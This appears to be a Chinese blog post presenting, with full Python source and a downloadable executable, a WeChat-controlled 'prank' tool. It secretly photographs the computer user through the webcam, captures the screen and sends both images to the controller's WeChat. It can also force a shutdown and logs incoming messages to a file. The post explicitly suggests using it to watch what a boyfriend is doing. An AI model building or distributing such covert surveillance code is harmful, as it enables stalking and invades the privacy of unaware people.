今天给大家介绍一个实用又具备恶搞能力的python程序。
兴趣是最好的老师,我为什么在写python,很大一部分原因是因为python能写出很多有意思好玩的东西。
我们先看下这个程序能实现什么样的效果。
这个程序目前主要有两个功能,一个是摄像头拍照和电脑屏幕截图,回复数字 1 即可控制电脑打开摄像头自动为电脑使用者拍照,同时可以自动截取当前电脑屏幕,并且会把两张图片发送到你的微信上,这样就可以看到你的电脑使用者(可以是男朋友)在干什么了。还有一个实用功能就是电脑关机,回复数字 2 即可强制电脑立即关机,关于这个功能大家要慎用,具体使用场景大家可以自由发挥,但由此带来的不良后果本程序概不负责哈,特此声明。
不知道大家有没有感觉到很神奇,对我来说这就是python的魅力所在,下面再来简单说下这个python程序的实现原理。这个程序主要是利用了一个python第三方库itchat,itchat是一个关于微信操作的库,很多微信机器人都用了类似的库,itchat能把微信用户输入的东西传给这个python程序,然后这个python程序接收到微信用户信息后再对咱们的电脑执行相应的命令,这就是这个python程序的实现流程。
其实这个程序的代码也很简单,下面是这个python程序的源码,当然,为了让大家能快速体验这个python程序,我特意将python程序打包成了一个可直接运行的程序,大家在公众号后台回复 002 即可下载该程序,下载到电脑后,直接双击即可运行,运行后会弹出微信登录二维码,大家可放心扫码登录即可,登录成功后即可在微信上控制电脑了。
import itchatimport osimport timeimport cv2from PIL import ImageGrabsendMsg = u"{消息助手}:暂时无法回复"usageMsg = u"使用方法:\n回复 1 电脑屏幕自动截图和给电脑使用者拍照,并且发送照片到微信。\n" \ u"回复 2 电脑关机 \n" flag = 0 #消息助手开关nowTime = time.localtime()filename = str(nowTime.tm_mday)+str(nowTime.tm_hour)+str(nowTime.tm_min)+str(nowTime.tm_sec)+".txt"myfile = open(filename, 'w')@itchat.msg_register('Text')def text_reply(msg): global flag message = msg['Text'] fromName = msg['FromUserName'] toName = msg['ToUserName'] if toName == "filehelper": if message == "1": cap = cv2.VideoCapture(0) ret, img = cap.read() cv2.imwrite("weixinTemp.jpg", img) itchat.send('@img@%s'%u'weixinTemp.jpg', 'filehelper') cap.release() #电脑屏幕截图 screen = ImageGrab.grab() screen.save('./screenShot.png','png') itchat.send('@img@%s'%u'screenShot.png', 'filehelper') if message == "2": os.system('shutdown -s -t 0') elif flag == 1: itchat.send(sendMsg, fromName) myfile.write(message) myfile.write("\n") myfile.flush()if __name__ == '__main__': itchat.auto_login() itchat.send(usageMsg, "filehelper") itchat.run()
在公众号后台回复 【002】 即可下载可直接执行的程序,程序名字叫wechatControl.exe。
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。